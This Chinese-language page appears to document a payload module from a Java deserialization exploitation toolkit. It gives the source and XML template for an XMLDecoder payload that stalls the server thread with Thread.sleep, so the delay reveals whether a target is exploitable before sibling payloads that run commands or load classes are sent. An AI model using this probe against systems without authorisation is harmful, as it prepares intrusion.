- 类别:xml 别名:— 优先级:—
- 作者:—
- 依赖:
jdk
生成一段 XMLDecoder 可解析的 XML,令解析线程调用 Thread.sleep 阻塞指定秒数。用于无回显盲探测:通过响应时间差判断目标是否真的把输入交给了 java.beans.XMLDecoder 反序列化,是 XMLDecoder 系列的延迟探测 sink。
- 入口
tags:XMLDecoderPayload、END—— 承接 XMLDecoder 类型 Payload 入口;END表示它是链的终点(终端 sink),后面不再接任何 gadget。 - 衔接
nextTags:无 —— 自身即产出完整 XML,不消费内层对象。 excludes:无。
本类直接实现 Gadget,逻辑极简:
@Param(name="sleep", description="sleep时间,单位秒")
public String sleep = "5";
public static String template = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<java>\n <object class=\"java.lang.Thread\">\n <void method=\"sleep\">\n <long>%s</long>\n </void>\n </object>\n</java>";
private String getObject() {
return String.format(template, Integer.parseInt(this.sleep) * 1000); // 秒 → 毫秒
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(); // 注意:不调用 chain.doCreate,忽略内层
}invoke不调用chain.doCreate(context),说明它是自足的链尾(呼应tags中的END):无需内层字节码或对象。getObject把sleep(秒,字符串)parseInt后乘 1000 转为毫秒,填入模板的%s。- XML 语义:
<object class="java.lang.Thread">让XMLDecoder先new Thread(),随后<void method="sleep"><long>...</long></void>在该实例上反射调用sleep(long)。虽然Thread.sleep是静态方法,但 XMLDecoder 通过实例反射调用同样成立,效果是解析当前请求的线程原地阻塞,从而拉长服务器响应时间。 - 因为只是让线程 sleep、不加载任何字节码或命令,探测过程无副作用、相对安全,适合先确认漏洞点存在再上重载荷。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
sleep |
sleep | sleep 时间,单位秒(内部乘 1000 转毫秒) | 5 |
任意可 parseInt 的整数字符串 |
- 依赖仅为
jdk:只用到java.lang.Thread#sleep,无第三方库、无 JS 引擎,因此不受 Nashorn 移除、JAXB 迁移等版本约束,在各 JDK 上通用(相较 XMLJsLoader 更稳)。 - 唯一前提:反序列化入口确为
java.beans.XMLDecoder,且能观测到响应时延。 - 探测判据:把
sleep设为一个足够区分网络抖动的值(如 5–10 秒),对比正常请求耗时;若响应被延迟约设定秒数,即可确认 XMLDecoder 反序列化可控。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。作为独立探测 payload 单独使用。
- 同族(同为
XMLDecoderPayloadsink):XMLDnsLog(DNS 带外探测)、XMLExec、XMLJsLoader、XMLJdkDefineClass、XMLBceLoader、XMLJNDI。 - 定位对应:与 XMLDnsLog 同属「先探测后利用」阶段——一个走时延、一个走带外 DNS。